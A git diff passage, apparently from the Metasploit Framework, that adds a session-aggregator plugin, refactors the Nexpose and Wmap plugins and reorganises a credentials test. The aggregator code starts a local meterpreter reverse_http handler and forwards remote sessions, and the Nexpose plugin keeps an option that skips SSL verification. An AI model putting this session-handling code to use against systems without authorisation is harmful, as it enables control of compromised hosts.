framework.sessions.deregister(s) + else + # TODO: determine if we can add a transport and route with the + # aggregator. For now, just report action not taken. + print_status("#{session_id} does not originate from the aggregator connection.") + end + else + print_status("#{session_id} is not a valid session.") + end + else + usage('aggregator_session_park session_id') + return + end + end + + def cmd_aggregator_default_forward(*_args) + return if !aggregator_verify + + @aggregator.register_default(@aggregator.uuid, nil) + end + + def cmd_aggregator_session_forward(*args) + return if !aggregator_verify + + remote_id = nil + case args.length + when 1 + remote_id = args[0] + else + usage_session_forward + return + end + # find session with ID matching request + @aggregator.sessions.each do |session| + session_uri, _target = session + details = @aggregator.session_details(session_uri) + next unless details['ID'] == remote_id + return @aggregator.obtain_session(session_uri, @aggregator.uuid) + end + print_error("#{remote_id} was not found.") + end + + def cmd_aggregator_disconnect(*_args) + if @aggregator && @aggregator.available? + # check if this connection is the default forward + @aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid + + # now check for any specifically forwarded sessions + local_sessions_by_id = {} + framework.sessions.each_pair do |_id, s| + local_sessions_by_id[s.conn_id] = s + end + + sessions = @aggregator.sessions + unless sessions.nil? + sessions.each_pair do |session, console| + next unless local_sessions_by_id.keys.include?(session) + if console == @aggregator.uuid + # park each session locally addressed + cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session])) + else + # simple disconnect session that were from the default forward + framework.sessions.deregister(local_sessions_by_id[session]) + end + end + end + end + @aggregator.stop if @aggregator + if @payload_job_ids + @payload_job_ids.each do |id| + framework.jobs.stop_job(id) + end + @payload_job_ids = nil + end + @aggregator = nil + end + + def aggregator_login + + if !((@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0)) + usage_connect + return + end + + if @host != "localhost" and @host != "127.0.0.1" + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator") + print_error(" traffic, if you are running this on an untrusted network.") + return + end + + # Wrap this so a duplicate session does not prevent access + begin + cmd_aggregator_disconnect + rescue ::Interrupt => i + raise i + rescue ::Exception + end + + begin + print_status("Connecting to Aggregator instance at #{@host}:#{@port}...") + @aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port) + end + + aggregator_compatibility_check + + unless @payload_job_ids + @payload_job_ids = [] + @my_io = local_handler + end + + @aggregator.register_response_channel(@my_io) + @aggregator + end + + def aggregator_compatibility_check + false if @aggregator.nil? + unless @aggregator.available? + print_error("Connection to aggregator @ #{@host}:#{@port} is unavailable.") + cmd_aggregator_disconnect + end + end + + def local_handler + # get a random ephemeral port + server = TCPServer.new('127.0.0.1', 0) + port = server.addr[1] + server.close + + multi_handler = framework.exploits.create('multi/handler') + + multi_handler.datastore['LHOST'] = "127.0.0.1" + # multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https" + multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http" + multi_handler.datastore['LPORT'] = "#{port}" + + # %w(DebugOptions PrependMigrate PrependMigrateProc + # InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert + # StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName + # IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait + # SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| + # multi_handler.datastore[opt] = datastore[opt] if datastore[opt] + # end + + multi_handler.datastore['ExitOnSession'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' + + multi_handler.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Payload' => multi_handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + @payload_job_ids << multi_handler.job_id + # requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester + end + + # borrowed from Msf::Sessions::Meterpreter for now + def guess_target_platform(os) + case os + when /windows/i + Msf::Module::Platform::Windows.realname.downcase + when /darwin/i + Msf::Module::Platform::OSX.realname.downcase + when /mac os ?x/i + # this happens with java on OSX (for real!) + Msf::Module::Platform::OSX.realname.downcase + when /freebsd/i + Msf::Module::Platform::FreeBSD.realname.downcase + when /openbsd/i, /netbsd/i + Msf::Module::Platform::BSD.realname.downcase + else + Msf::Module::Platform::Linux.realname.downcase + end + end + + private :guess_target_platform + private :aggregator_login + private :aggregator_compatibility_check + private :aggregator_verify + private :local_handler + end + + # + # Plugin initialization + # + + def initialize(framework, opts) + super + + add_console_dispatcher(AggregatorCommandDispatcher) + print_status("Aggregator interaction has been enabled") + end + + def cleanup + remove_console_dispatcher('Aggregator') + end + + def name + "aggregator" + end + + def desc + "Interacts with the external Session Aggregator" + end + end +end diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 7d964d10ff..653ec6f672 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index 30c1bee857..cc49d292b7 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # This plugin provides an msf daemon interface that spawns a listener on a # defined port (default 55552) and gives each connecting client its own diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 885ede095c..748e28fe1a 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -968,13 +968,14 @@ module Msf end if valid_policy(uuid) print_status("Creating scan from policy number #{uuid}, called #{scan_name} - #{description} and scanning #{targets}") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=scan_name - et['text_targets']=targets - et['description']=description - et['launch_now']=false + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => scan_name, + 'text_targets' => targets, + 'description' => description, + 'launch_now' => false + } scan = @n.scan_create(uuid, et) tbl = Rex::Text::Table.new( 'Columns' => [ @@ -1077,13 +1078,14 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in all the workspaces") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=name - et['text_targets']=targets - et['description']=desc - et['launch_now']=true + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => name, + 'text_targets' => targets, + 'description' => desc, + 'launch_now' => true + } scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] @@ -1136,7 +1138,15 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in #{framework.db.workspace.name}") - scan = @n.scan_create(policy_id, name, desc, targets) + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => name, + 'text_targets' => targets, + 'description' => desc, + 'launch_now' => false + } + scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] print_status("Scan ID #{scan['id']} successfully created") diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 00c1173bc1..20b710b630 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # @@ -6,8 +5,7 @@ # # $Revision$ # - -require 'rapid7/nexpose' +require 'nexpose' module Msf Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds @@ -82,7 +80,7 @@ class Plugin::Nexpose < Msf::Plugin group = "default" if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port, 'trust_cert' => @trust_cert}} ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } print_good("#{Nexpose_yaml} created.") else @@ -101,21 +99,21 @@ class Plugin::Nexpose < Msf::Plugin @pass = lconfig['default']['password'] @host = lconfig['default']['server'] @port = lconfig['default']['port'] - @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + @trust_cert = lconfig['default']['trust_cert'] + unless @trust_cert + @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + end nexpose_login return end end if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") + nexpose_usage return end - @user = @pass = @host = @port = @sslv = nil + @user = @pass = @host = @port = @sslv = @trust_cert = @trust_cert_file = nil case args.length when 1,2 @@ -123,31 +121,48 @@ class Plugin::Nexpose < Msf::Plugin @user,@pass = cred.split(':', 2) targ ||= '127.0.0.1:3780' @host,@port = targ.split(':', 2) - port ||= '3780' - @sslv = args[1] + @port ||= '3780' + unless args.length == 1 + @trust_cert_file = args[1] + if File.exists? @trust_cert_file + @trust_cert = File.read(@trust_cert_file) + else + @sslv = @trust_cert_file + end + end when 4,5 - @user,@pass,@host,@port,@sslv = args + @user,@pass,@host,@port,@trust_cert = args + unless args.length == 4 + @trust_cert_file = @trust_cert + if File.exists? @trust_cert_file + @trust_cert = File.read(@trust_cert_file) + else + @sslv = @trust_cert_file + end + end else - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") + nexpose_usage return end nexpose_login end + def nexpose_usage + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] ") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port ") + end + def nexpose_login if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") + nexpose_usage return end - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + if(@host != "localhost" and @host != "127.0.0.1" and (@trust_cert.nil? && @sslv != "ok")) + # consider removing this message and replacing with check on trust_store, and if trust_store is not found validate @host already has a truly trusted cert? print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") @@ -155,7 +170,7 @@ class Plugin::Nexpose < Msf::Plugin return end - # Wrap this so a duplicate session doesnt prevent a new login + # Wrap this so a duplicate session does not prevent a new login begin cmd_nexpose_disconnect rescue ::Interrupt @@ -165,7 +180,7 @@ class Plugin::Nexpose < Msf::Plugin begin print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) + nsc = Nexpose::Connection.new(@host, @user, @pass, @port, nil, nil, @trust_cert) nsc.login rescue ::Nexpose::APIError => e print_error("Connection failed: #{e.reason}") @@ -191,21 +206,21 @@ class Plugin::Nexpose < Msf::Plugin end scans.each do |scan| - print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") + print_status(" Scan ##{scan.scan_id} is running on Engine ##{scan.engine_id} against site ##{scan.site_id} since #{scan.start_time.to_s}") end end def cmd_nexpose_sites(*args) return if not nexpose_verify - sites = @nsc.site_listing || [] + sites = @nsc.list_sites || [] case sites.length when 0 print_status("There are currently no active sites on this Nexpose instance") end sites.each do |site| - print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") + print_status(" Site ##{site.id} '#{site.name}' Risk Factor: #{site.risk_factor} Risk Score: #{site.risk_score}") end end @@ -218,24 +233,24 @@ class Plugin::Nexpose < Msf::Plugin return end - devices = @nsc.site_device_listing(site_id) || [] + devices = @nsc.list_site_devices(site_id) || [] case devices.length when 0 print_status("There are currently no devices within this site") end devices.each do |device| - print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") + print_status(" Host: #{device.address} ID: #{device.id} Risk Factor: #{device.risk_factor} Risk Score: #{device.risk_score}") end end def cmd_nexpose_report_templates(*args) return if not nexpose_verify - res = @nsc.report_template_listing || [] + res = @nsc.list_report_templates || [] res.each do |report| - print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") + print_status(" Template: #{report.id} Name: '#{report.name}' Description: #{report.description}") end end @@ -287,17 +302,12 @@ class Plugin::Nexpose < Msf::Plugin report_formats = ["raw-xml-v2", "ns-xml"] report_format = report_formats.shift - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id("pentest-audit") - - report.addFilter("SiteFilter", site_id) - report.set_generate_after_scan(0) - report.set_storeOnServer(1) + report = Nexpose::ReportConfig.build(@nsc, site_id, "Metasploit Export #{msfid}", "pentest-audit", report_format, true) + report.delivery = Nexpose::Delivery.new(true) begin - report.set_format(report_format) - report.saveReport() + report.format = report_format + report.save(@nsc) rescue ::Exception => e report_format = report_formats.shift if report_format @@ -307,17 +317,18 @@ class Plugin::Nexpose < Msf::Plugin end print_status("Generating the export data file...") - url = nil - while(! url) - url = @nsc.report_last(report.config_id) + last_report = nil + while(! last_report) + last_report = @nsc.last_report(report.id) select(nil, nil, nil, 1.0) end + url = last_report.uri print_status("Downloading the export data...") data = @nsc.download(url) # Delete the temporary report ID - @nsc.report_config_delete(report.config_id) + @nsc.delete_report_config(report.id) print_status("Importing Nexpose data...") process_nexpose_data(report_format, data) @@ -390,8 +401,10 @@ class Plugin::Nexpose < Msf::Plugin when "-c" if (val =~ /^([^:]+):([^:]+):(.+)/) type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::AdminCredentials.new - newcreds.setCredentials(type, nil, nil, user, pass, nil) + msfid = Time.now.to_i + newcreds = Nexpose::SiteCredentials.for_service("Metasploit Site Credential #{msfid}", nil, nil, nil, nil, type) + newcreds.user_name = user + newcreds.password = pass opt_credentials << newcreds else print_error("Unrecognized Nexpose scan credentials: #{val}") @@ -482,33 +495,24 @@ class Plugin::Nexpose < Msf::Plugin msfid = Time.now.to_i # Create a temporary site - site = Nexpose::Site.new(@nsc) - site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") - queue.each do |ip| - site.site_config.addHost(Nexpose::IPRange.new(ip)) - end - site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) - opt_credentials.each do |c| - site.site_config.addCredentials(c) - end - site.saveSite() + site = Nexpose::Site.new(nil, opt_template) + site.name = "Metasploit-#{msfid}" + site.description = "Autocreated by the Metasploit Framework" + site.included_addresses = queue + site.site_credentials = opt_credentials + site.save(@nsc) - print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose + print_status(" >> Created temporary site ##{site.id}") if opt_verbose report_formats = ["raw-xml-v2", "ns-xml"] report_format = report_formats.shift - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id(opt_template) - - report.addFilter("SiteFilter", site.site_id) - report.set_generate_after_scan(1) - report.set_storeOnServer(1) + report = Nexpose::ReportConfig.build(@nsc, site.id, site.name, opt_template, report_format, true) + report.delivery = Nexpose::Delivery.new(true) begin - report.set_format(report_format) - report.saveReport() + report.format = report_format + report.save(@nsc, true) rescue ::Exception => e report_format = report_formats.shift if report_format @@ -517,18 +521,19 @@ class Plugin::Nexpose < Msf::Plugin raise e end - print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose + print_status(" >> Created temporary report configuration ##{report.id}") if opt_verbose # Run the scan begin - res = site.scanSite() + res = site.scan(@nsc) rescue Nexpose::APIError => e nexpose_error_message = e.message nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '') print_error "#{nexpose_error_message}" return end - sid = res[:scan_id] + + sid = res.id print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose @@ -537,8 +542,8 @@ class Plugin::Nexpose < Msf::Plugin prev = nil while(true) info = @nsc.scan_statistics(sid) - break if info[:summary]['status'] != "running" - stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" + break if info.status != "running" + stat = "Found #{info.nodes.live} devices and #{info.nodes.dead} unresponsive" if(stat != prev) print_status(" >> #{stat}") if opt_verbose end @@ -549,18 +554,19 @@ class Plugin::Nexpose < Msf::Plugin rescue ::Interrupt rep = false print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose - @nsc.scan_stop(sid) + @nsc.stop_scan(sid) break end # Wait for the automatic report generation to complete if(rep) print_status(" >> Waiting on the report to generate...") if opt_verbose - url = nil - while(! url) - url = @nsc.report_last(report.config_id) + last_report = nil + while(! last_report) + last_report = @nsc.last_report(report.id) select(nil, nil, nil, 1.0) end + url = last_report.uri print_status(" >> Downloading the report data from Nexpose...") if opt_verbose data = @nsc.download(url) @@ -576,8 +582,18 @@ class Plugin::Nexpose < Msf::Plugin end if ! opt_preserve + # Make sure the scan has finished clean up before attempting to delete the site + while (true) + info = @nsc.scan_statistics(sid) + break if info.status == 'stopped' || info.status == 'finished' + select(nil, nil, nil, 5.0) + end print_status(" >> Deleting the temporary site and report...") if opt_verbose - @nsc.site_delete(site.site_id) + begin + @nsc.delete_site(site.id) + rescue ::Nexpose::APIError => e + print_status(" >> Deletion of temporary site and report failed: #{e.inspect}") + end end end @@ -675,3 +691,15 @@ class Plugin::Nexpose < Msf::Plugin end end end + +module Nexpose + class IPRange + def to_json + if @to.present? + "#{@from} - #{@to}".to_json + else + @from.to_json + end + end + end +end diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 4b9c02cd08..2a3b294a0d 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # This plugin provides integration with OpenVAS. Written by kost and # averagesecurityguy. diff --git a/plugins/wmap.rb b/plugins/wmap.rb index b6c6ab7fb3..ad3c64e0ea 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin when '-s' u = args.shift l = args.shift - s = args.shift + o = args.shift - if not u - return - end + return unless u if l == nil or l.empty? l = 200 - s = true + o = 'true' else - l = l.to_i - s = false + # Add check if unicode parameters is the second one + if l == 'true' or l == 'false' + o = l + l = 200 + else + l = l.to_i + end end + o = (o == 'true') + if u.include? 'http' # Parameters are in url form - view_site_tree(u,l,s) + view_site_tree(u,l,o) else # Parameters are digits if !self.lastsites or self.lastsites.length == 0 @@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if target_whitelist.length == 0 - if not self.targets - self.targets = Hash.new() - end + unless self.targets + self.targets = Hash.new() + end target_whitelist.each do |ent| - view_site_tree(ent,l,s) + view_site_tree(ent,l,o) end end return @@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin print_line("\t-a [url] Add site (vhost,url)") print_line("\t-d [ids] Delete sites (separate ids with space)") print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - + print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)") print_line("") return else @@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if site_whitelist.length == 0 - vsites = Hash.new() - site_whitelist.each do |ent| vhost,target = ent host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host + unless host print_error("No matching host for #{target.host}") next end serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv + unless serv print_error("No matching service for #{target.host}:#{target.port}") next end @@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin end end + # Private function to avoid duplicate code + def load_tree_core(req, wtree) + pathchr = '/' + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + # # Load website structure into a tree # - def load_tree(s) - - pathchr = '/' - wtree = Tree.new(s.vhost) # Load site pages s.web_pages.order('path asc').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) + if req.code != 404 + load_tree_core(req, wtree) end end # Load site forms s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end + load_tree_core(req, wtree) end - return wtree + wtree + end + + def print_file(filename) + ext = File.extname(filename) + if %w(.txt .md).include? ext + print '%bld%red' + elsif %w(.css .js).include? ext + print '%grn' + end + + print_line("#{ filename }%clr") end # - # Print Tree structure. Still ugly + # Recursive function for printing the tree structure # + def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode) + if tree != nil and tree.depth <= max_level + print (' ' * indent) - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - + # Prefix serve to print the superior hierarchy + prefix.each { |bool| + if unicode + print (bool ? ' ' : '│') + (' ' * 3) else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end + print (bool ? ' ' : '|') + (' ' * 3) end + } + if unicode + # The last children is special + print (is_last ? '└' : '├') + ('─' * 2) + ' ' + else + print (is_last ? '`' : '|') + ('-' * 2) + ' ' end - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) + c = tree.children.count + + if c > 0 + print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })" + else + print_file tree.name + end + + i = 1 + new_prefix = prefix + [is_last] + tree.children.each_pair { |_,child| + is_last = !(i < c) + print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode) + i += 1 + } + end + end + + # + # Print Tree structure. Less ugly + # Modified by Jon P. + # + def print_tree(tree, ip, max_level, unicode) + indent = 4 + if tree != nil and tree.depth <= max_level + if tree.depth == 0 + print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr" + end + + i = 1 + c = tree.children.count + tree.children.each_pair do |_,child| + print_tree_recursive(child, max_level, indent, [], !(i < c), unicode) + i += 1 end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb index 5b77460b24..8fb4534f0d 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb @@ -21,427 +21,454 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do let(:password) { 'thispass' } let(:realm) { 'thisrealm' } let(:realm_type) { 'Active Directory Domain' } - describe '-u' do - let(:nomatch_username) { 'thatuser' } - let(:nomatch_password) { 'thatpass' } - let(:blank_username) { '' } - let(:blank_password) { '' } - let(:nonblank_username) { 'nonblank_user' } - let(:nonblank_password) { 'nonblank_pass' } + context 'Searching' do + describe '-u' do + let(:nomatch_username) { 'thatuser' } + let(:nomatch_password) { 'thatpass' } + let(:blank_username) { '' } + let(:blank_password) { '' } + let(:nonblank_username) { 'nonblank_user' } + let(:nonblank_password) { 'nonblank_pass' } - let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } - - before(:example) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) - pub = FactoryGirl.create(:metasploit_credential_username, username: username) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) - blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) - nonblank_priv = FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: nonblank_priv, - public: blank_pub, - realm: nil, - workspace: framework.db.workspace) - nonblank_pub = FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) - blank_priv = FactoryGirl.create(:metasploit_credential_password, data: blank_password) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: blank_priv, - public: nonblank_pub, - realm: nil, - workspace: framework.db.workspace) - end - - context 'when the credential is present' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-u', username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - - it 'should match a regular expression' do - creds.cmd_creds('-u', "^#{username}$") - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - - it 'should return nothing for a non-matching regular expression' do - creds.cmd_creds('-u', "^#{nomatch_username}$") - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - - context 'and when the username is blank' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-u', blank_username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' nonblank_pass Password' - ]) - end - end - context 'and when the password is blank' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-P', blank_password) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' nonblank_user Password' - ]) - end - end - end - - context 'when the credential is absent' do - context 'due to a nonmatching username' do - it 'should return a blank set' do - creds.cmd_creds('-u', nomatch_username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - end - context 'due to a nonmatching password' do - it 'should return a blank set' do - creds.cmd_creds('-P', nomatch_password) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - end - end - end - - describe '-t' do - context 'with an invalid type' do - it 'should print the list of valid types' do - creds.cmd_creds('-t', 'asdf') - expect(@error).to match_array [ - 'Unrecognized credential type asdf -- must be one of password,ntlm,hash' - ] - end - end - - context 'with valid types' do - let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } - - let!(:pub) do - FactoryGirl.create(:metasploit_credential_username, username: username) - end - let!(:password_core) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) + let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } + + let!(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } + let!(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } + let!(:blank_pub) { blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) } + let!(:nonblank_priv) { FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) } + let!(:nonblank_pub) { FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) } + let!(:blank_priv) { FactoryGirl.create(:metasploit_credential_password, data: blank_password) } + before(:example) do FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) + origin: origin, + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: nonblank_priv, + public: blank_pub, + realm: nil, + workspace: framework.db.workspace) + + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: blank_priv, + public: nonblank_pub, + realm: nil, + workspace: framework.db.workspace) end - # # Somehow this is hitting a unique constraint on Cores with the same - # # Public, even though it has a different Private. Skip for now - # let!(:ntlm_core) do - # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), - # private: priv, - # public: pub, - # realm: nil, - # workspace: framework.db.workspace) - # end - # let!(:nonreplayable_core) do - # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), - # private: priv, - # public: pub, - # realm: nil, - # workspace: framework.db.workspace) - # end - - after(:example) do - # ntlm_core.destroy - password_core.destroy - # nonreplayable_core.destroy - end - - context 'password' do - it 'should show just the password' do - creds.cmd_creds('-t', 'password') - # Table matching really sucks + context 'when the credential is present' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-u', username) expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - end - - context 'ntlm' do - it 'should show just the ntlm' do - skip 'Weird uniqueness constraint on Core (workspace_id, public_id)' - - creds.cmd_creds('-t', 'ntlm') - # Table matching really sucks - expect(@output).to =~ [ 'Credentials', '===========', '', - 'host service public private realm private_type', - '---- ------- ------ ------- ----- ------------', - " thisuser #{ntlm_hash} NTLM hash" + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + + it 'should match a regular expression' do + creds.cmd_creds('-u', "^#{username}$") + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + + it 'should return 